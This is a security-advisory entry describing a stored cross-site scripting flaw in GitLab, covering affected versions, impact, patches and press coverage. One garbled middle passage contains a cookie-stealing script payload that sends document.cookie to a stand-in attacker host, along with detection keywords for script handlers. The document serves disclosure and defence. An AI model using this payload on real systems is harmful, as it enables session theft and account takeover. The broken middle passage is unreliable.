
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-13320 is a stored Cross-Site Scripting (XSS) vulnerability in GitLab Community Edition (CE) and Enterprise Edition (EE) that allows an authenticated user to execute arbitrary scripts in another user's browser session due to improper sanitization of user-supplied input. It affects all GitLab CE/EE versions from 15.7 before 18.11.7, 19.0 before 19.0.4, and 19.1 before 19.1.2. The vulnerability was disclosed on July 8, 2026, and patches were released the same day (GitHub Advisory, GitLab Patch Release). The CVSS v3.1 base score is 5.4 (Medium) per NVD, though the GitHub Advisory Database rates it 7.3 (High) using a stricter vector (GitHub Advisory).
The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), where user-supplied input is not properly sanitized before being rendered in GitLab's web interface (GitHub Advisory). Exploitation requires an authenticated user with elevated (high-level) privileges to inject a malicious script payload into a GitLab field that is subsequently rendered in another user's browser session. The attack vector is network-based, requires user interaction from the victim (e.g., viewing a page containing the injected content), and the scope change indicates the impact crosses from the attacker's session into the victim's browser context (Red Hat Bugzilla). The vulnerability was originally reported via HackerOne (report #3816917) and tracked internally at GitLab work item #604063 (GitHub Advisory).
Successful exploitation allows an attacker to execute arbitrary JavaScript in a victim user's browser session, enabling session token theft, account hijacking, and exfiltration of sensitive data visible in the victim's browser. Because the scope changes from the attacker's context to the victim's, the attacker can perform actions on behalf of the victim within GitLab, potentially accessing private repositories, secrets, CI/CD pipelines, or administrative functions depending on the victim's privilege level. Confidentiality and integrity are both impacted (rated High in the GitHub Advisory vector), while availability is not directly affected (GitHub Advisory, Red Hat Bugzilla).
/api/v4/version).<script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an equivalent obfuscated variant into the vulnerable field.onerror, onload, <script>) in stored GitLab content such as project descriptions, wiki pages, or issue bodies.GitLab has released patched versions addressing this vulnerability: 18.11.7, 19.0.4, and 19.1.2 for the respective affected branches (GitLab Patch Release). Administrators should upgrade to the appropriate fixed version as the primary remediation. As interim measures, restrict high-privilege GitLab roles (maintainer/owner) to only necessary personnel, and consider implementing Content Security Policy (CSP) headers to limit the impact of script injection attacks. GitLab.com (SaaS) is managed by GitLab and was patched separately.
The vulnerability was covered by several cybersecurity news outlets as part of GitLab's broader July 2026 patch release, which addressed eight security vulnerabilities across CE and EE editions (CyberPress, CyberSecurityNews, SecurityOnline). The Hacker News included it in their weekly security recap (The Hacker News). CISA referenced the patch release in their weekly vulnerability bulletin. Community reaction was generally measured, noting the requirement for high-privilege attacker credentials reduces the practical risk compared to unauthenticated XSS vulnerabilities.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."